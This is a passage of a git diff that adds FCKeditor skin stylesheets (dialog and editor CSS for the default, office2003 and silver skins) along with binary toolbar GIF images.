+       background-color: #e3e3c7;
+       padding: 3px 10px 3px 10px;
+}
+
+.PopupButtons
+{
+       border-top: #d5d59d 1px solid;
+       background-color: #e3e3c7;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+       border-right: #737357 1px solid;
+       border-top: #737357 1px solid;
+       border-left: #737357 1px solid;
+       color: #3b3b1f;
+       border-bottom: #737357 1px solid;
+       background-color: #c7c78f;
+}
+
+.DarkBackground
+{
+       background-color: #d7d79f;
+}
+
+.LightBackground
+{
+       background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+       border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTabArea
+{
+       color: #737357;
+       background-color: #e3e3c7;
+}
+
+.PopupTabEmptyArea
+{
+       padding-left: 10px ;
+       border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+       border-right: #d5d59d 1px solid;
+       border-top: #d5d59d 1px solid;
+       border-left: #d5d59d 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       padding-bottom: 3px;
+       padding-top: 3px;
+       color: #737357;
+}
+
+.PopupTab
+{
+       margin-top: 1px;
+       border-bottom: #d5d59d 1px solid;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.PopupTabSelected
+{
+       font-weight:bold;
+       cursor: default;
+       padding-top: 4px;
+       border-bottom: #f1f1e3 1px solid;
+       background-color: #f1f1e3;
+}
+
+.PopupSelectionBox
+{
+       border: #ff9933 1px solid !important;
+       background-color: #fffacd !important;
+       cursor: pointer;
+       cursor: hand;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/skins/default/fck_editor.css b/fckeditor/editor/skins/default/fck_editor.css
new file mode 100755 (executable)
index 0000000..f608416
--- /dev/null
@@ -0,0 +1,467 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editor.css
+ *     Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+/*
+       ### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+    padding: 1px 1px 1px 1px;
+    margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+    border: #696969 1px solid;
+}
+
+.SourceField
+{
+    padding: 5px;
+    margin: 0px;
+    font-family: Monospace;
+}
+
+/*
+       Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+    background-color: #efefde;
+}
+
+.TB_ToolbarSet
+{
+    border-top: #efefde 1px outset;
+    border-bottom: #efefde 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+    display: inline-table;     /* inline = Opera jumping buttons bug */
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 16px;
+    margin: 2px;
+    background-color: #999966;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    margin: 2px;
+    width: 3px;
+    background-repeat: no-repeat;
+    height: 16px;
+}
+
+.TB_End
+{
+    display: none;
+}
+
+.TB_ExpandImg
+{
+    background-image: url(images/toolbar.expand.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+    background-image: url(images/toolbar.collapse.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+    background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+    padding: 2px 2px 2px 2px;
+    border: #efefde 1px outset;
+}
+
+.TB_Collapse
+{
+    width: 5px;
+}
+
+.TB_Break
+{
+    height: 24px; /* IE needs the height to be set, otherwise no break */
+}
+
+/*
+       Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+    border: #efefde 1px solid; /* This is the default border */
+    height: 22px; /* The height is necessary, otherwise IE will not apply the alpha */
+}
+
+.TB_Button_On
+{
+    border: #316ac5 1px solid;
+    background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+    filter: alpha(opacity=70); /* IE */
+    opacity: 0.70; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Disabled
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 22px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    background-repeat: no-repeat;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_Button_Off .TB_Button_Text
+{
+       background-color: #efefde;  /* Needed because of a bug on Clear Type */
+}
+
+.TB_ConnectionLine
+{
+    background-color: #ffffff;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+.TB_Text
+{
+       height: 22px;
+}
+
+.TB_Button_Off .TB_Text
+{
+       background-color: #efefde ;  /* Needed because of a bug on ClearType */
+}
+
+.TB_Button_On_Over .TB_Text
+{
+       background-color: #dff1ff ;  /* Needed because of a bug on ClearType */
+}
+
+/*
+       Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #ffffff;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #e3e3c7;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #8f8f73;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #737357;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #ffffff;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #ffffff;
+}
+
+/*
+       ### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #ffffff;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+       ### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+    background-color: #efefde;
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+       ### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #330066 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c4cdd6;
+}
diff --git a/fckeditor/editor/skins/default/fck_strip.gif b/fckeditor/editor/skins/default/fck_strip.gif
new file mode 100755 (executable)
index 0000000..d5ba74e
Binary files /dev/null and b/fckeditor/editor/skins/default/fck_strip.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.arrowright.gif b/fckeditor/editor/skins/default/images/toolbar.arrowright.gif
new file mode 100755 (executable)
index 0000000..6843c8d
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.arrowright.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif b/fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif
new file mode 100755 (executable)
index 0000000..ea60995
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.buttonarrow.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.collapse.gif b/fckeditor/editor/skins/default/images/toolbar.collapse.gif
new file mode 100755 (executable)
index 0000000..87aa56d
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.collapse.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.end.gif b/fckeditor/editor/skins/default/images/toolbar.end.gif
new file mode 100755 (executable)
index 0000000..5bfd67a
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.end.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.expand.gif b/fckeditor/editor/skins/default/images/toolbar.expand.gif
new file mode 100755 (executable)
index 0000000..79075e7
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.expand.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.separator.gif b/fckeditor/editor/skins/default/images/toolbar.separator.gif
new file mode 100755 (executable)
index 0000000..eaed04a
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.separator.gif differ
diff --git a/fckeditor/editor/skins/default/images/toolbar.start.gif b/fckeditor/editor/skins/default/images/toolbar.start.gif
new file mode 100755 (executable)
index 0000000..1774246
Binary files /dev/null and b/fckeditor/editor/skins/default/images/toolbar.start.gif differ
diff --git a/fckeditor/editor/skins/office2003/fck_dialog.css b/fckeditor/editor/skins/office2003/fck_dialog.css
new file mode 100755 (executable)
index 0000000..ffc081d
--- /dev/null
@@ -0,0 +1,137 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog.css
+ *     Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       margin: 0px;
+       padding: 10px;
+       background-color: #f7f8fd;
+}
+
+body, td, input, select, textarea
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+       background-color: #f7f8fd;
+}
+
+.PopupBody
+{
+       margin: 0px;
+       padding: 0px;
+}
+
+.PopupTitle
+{
+       font-weight: bold;
+       font-size: 14pt;
+       color: #0e3460;
+       background-color: #8cb2fd;
+       padding: 3px 10px 3px 10px;
+}
+
+.PopupButtons
+{
+       border-top: #466ca6 1px solid;
+       background-color: #8cb2fd;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+       border: #1c3460 1px solid;
+       color: #000a28;
+       background-color: #7096d3;
+}
+
+.DarkBackground
+{
+       background-color: #d7d79f;
+}
+
+.LightBackground
+{
+       background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+       border-bottom: #d5d59d 1px solid;
+}
+
+.PopupTabArea
+{
+       color: #0e3460;
+       background-color: #8cb2fd;
+}
+
+.PopupTabEmptyArea
+{
+       padding-left: 10px ;
+       border-bottom: #466ca6 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+       border-right: #466ca6 1px solid;
+       border-top: #466ca6 1px solid;
+       border-left: #466ca6 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       padding-bottom: 3px;
+       padding-top: 3px;
+       color: #0e3460;
+}
+
+.PopupTab
+{
+       margin-top: 1px;
+       border-bottom: #466ca6 1px solid;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.PopupTabSelected
+{
+       font-weight:bold;
+       cursor: default;
+       padding-top: 4px;
+       border-bottom: #f7f8fd 1px solid;
+       background-color: #f7f8fd;
+}
+
+.PopupSelectionBox
+{
+       border: #1e90ff 1px solid !important;
+       background-color: #add8e6 !important;
+       cursor: pointer;
+       cursor: hand;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/skins/office2003/fck_editor.css b/fckeditor/editor/skins/office2003/fck_editor.css
new file mode 100755 (executable)
index 0000000..dc583aa
--- /dev/null
@@ -0,0 +1,480 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editor.css
+ *     Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+/*
+       ### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+    padding: 1px 1px 1px 1px;
+    margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+    border: #696969 1px solid;
+}
+
+.SourceField
+{
+    padding: 5px;
+    margin: 0px;
+    font-family: Monospace;
+}
+
+/*
+       Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+    background-color: #f7f8fd;
+}
+
+.TB_ToolbarSet
+{
+    border-top: #f7f8fd 1px outset;
+    border-bottom: #f7f8fd 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+       background-color: #d6dff7;
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+    display: inline-table;
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 16px;
+    margin: 2px;
+    background-color: #B2CBFF;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    background-repeat: no-repeat;
+    background-position: center center;
+    margin: 0px;
+    width: 7px;
+    height: 24px;
+}
+
+.TB_End
+{
+    background-image: url(images/toolbar.end.gif);
+    background-repeat: no-repeat;
+    background-position: center left;
+    height: 24px;
+    width: 4px;
+}
+
+.TB_ExpandImg
+{
+    background-image: url(images/toolbar.expand.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+    background-image: url(images/toolbar.collapse.gif);
+    background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+    background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+    padding: 2px 2px 2px 2px;
+    border: #f7f8fd 1px outset;
+}
+
+.TB_Collapse
+{
+    width: 5px;
+}
+
+.TB_Break
+{
+    height: 24px; /* IE needs the height to be set, otherwise no break */
+}
+
+/*
+       Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+    margin: 1px;
+    height: 22px; /* The height is necessary, otherwise IE will not apply the alpha */
+}
+
+.TB_Button_On
+{
+    margin: 0px;
+    border: #316ac5 1px solid;
+    background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    margin: 0px ;
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+    filter: alpha(opacity=70); /* IE */
+    opacity: 0.70; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Disabled
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 22px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    background-repeat: no-repeat;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_Button_Off .TB_Button_Text
+{
+       background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+}
+
+.TB_ConnectionLine
+{
+    background-color: #f7f8fd;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+.TB_Button_Off .TB_Text
+{
+       background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+}
+
+.TB_Button_On_Over .TB_Text
+{
+       background-color: #dff1ff ;  /* Needed because of a bug on ClearType */
+}
+
+/*
+       Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #f7f8fd;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #d6dff7;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #7096FA;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #466ca6;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #f7f8fd;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #f7f8fd;
+}
+
+/*
+       ### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #f7f8fd;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+       ### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    margin-top: 2px ;
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+       background-color: #d6dff7;  /* Needed because of a bug on ClearType */
+       background-image: url(images/toolbar.bg.gif);
+       background-repeat: repeat-x;
+/*    background-color:  inherit;     Maybe this is needed wait to check */
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+       ### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #330066 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c4cdd6;
+}
diff --git a/fckeditor/editor/skins/office2003/fck_strip.gif b/fckeditor/editor/skins/office2003/fck_strip.gif
new file mode 100755 (executable)
index 0000000..a7282f2
Binary files /dev/null and b/fckeditor/editor/skins/office2003/fck_strip.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif b/fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif
new file mode 100755 (executable)
index 0000000..6843c8d
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.arrowright.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.bg.gif b/fckeditor/editor/skins/office2003/images/toolbar.bg.gif
new file mode 100755 (executable)
index 0000000..b03960b
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.bg.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif b/fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif
new file mode 100755 (executable)
index 0000000..ea60995
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.buttonarrow.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.collapse.gif b/fckeditor/editor/skins/office2003/images/toolbar.collapse.gif
new file mode 100755 (executable)
index 0000000..d549166
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.collapse.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.end.gif b/fckeditor/editor/skins/office2003/images/toolbar.end.gif
new file mode 100755 (executable)
index 0000000..7ff599d
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.end.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.expand.gif b/fckeditor/editor/skins/office2003/images/toolbar.expand.gif
new file mode 100755 (executable)
index 0000000..c4a7326
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.expand.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.separator.gif b/fckeditor/editor/skins/office2003/images/toolbar.separator.gif
new file mode 100755 (executable)
index 0000000..27db9c3
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.separator.gif differ
diff --git a/fckeditor/editor/skins/office2003/images/toolbar.start.gif b/fckeditor/editor/skins/office2003/images/toolbar.start.gif
new file mode 100755 (executable)
index 0000000..41f1241
Binary files /dev/null and b/fckeditor/editor/skins/office2003/images/toolbar.start.gif differ
diff --git a/fckeditor/editor/skins/silver/fck_dialog.css b/fckeditor/editor/skins/silver/fck_dialog.css
new file mode 100755 (executable)
index 0000000..9d7d47c
--- /dev/null
@@ -0,0 +1,140 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_dialog.css
+ *     Styles used by the dialog boxes.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+body
+{
+       margin: 0px;
+       padding: 10px;
+       background-color: #f7f7f7;
+}
+
+body, td, input, select, textarea
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Arial, Helvetica, Verdana;
+}
+
+body, .BackColor
+{
+       background-color: #f7f7f7;
+}
+
+.PopupBody
+{
+       margin: 0px;
+       padding: 0px;
+}
+
+.PopupTitle
+{
+       padding-right: 10px;
+       padding-left: 10px;
+       font-weight: bold;
+       font-size: 14pt;
+       padding-bottom: 3px;
+       color: #504845;
+       padding-top: 3px;
+       background-color: #dedede;
+}
+
+.PopupButtons
+{
+       border-top: #cec6b5 1px solid;
+       background-color: #DEDEDE;
+       padding: 7px 10px 7px 10px;
+}
+
+.Button
+{
+       border: #7a7261 1px solid;
+       color: #504845;
+       background-color: #cec6b5;
+}
+
+.DarkBackground
+{
+       background-color: #d7d79f;
+}
+
+.LightBackground
+{
+       background-color: #ffffbe;
+}
+
+.PopupTitleBorder
+{
+       border-bottom: #cec6b5 1px solid;
+}
+
+.PopupTabArea
+{
+       color: #504845;
+       background-color: #DEDEDE;
+}
+
+.PopupTabEmptyArea
+{
+       padding-left: 10px ;
+       border-bottom: #cec6b5 1px solid;
+}
+
+.PopupTab, .PopupTabSelected
+{
+       border-right: #cec6b5 1px solid;
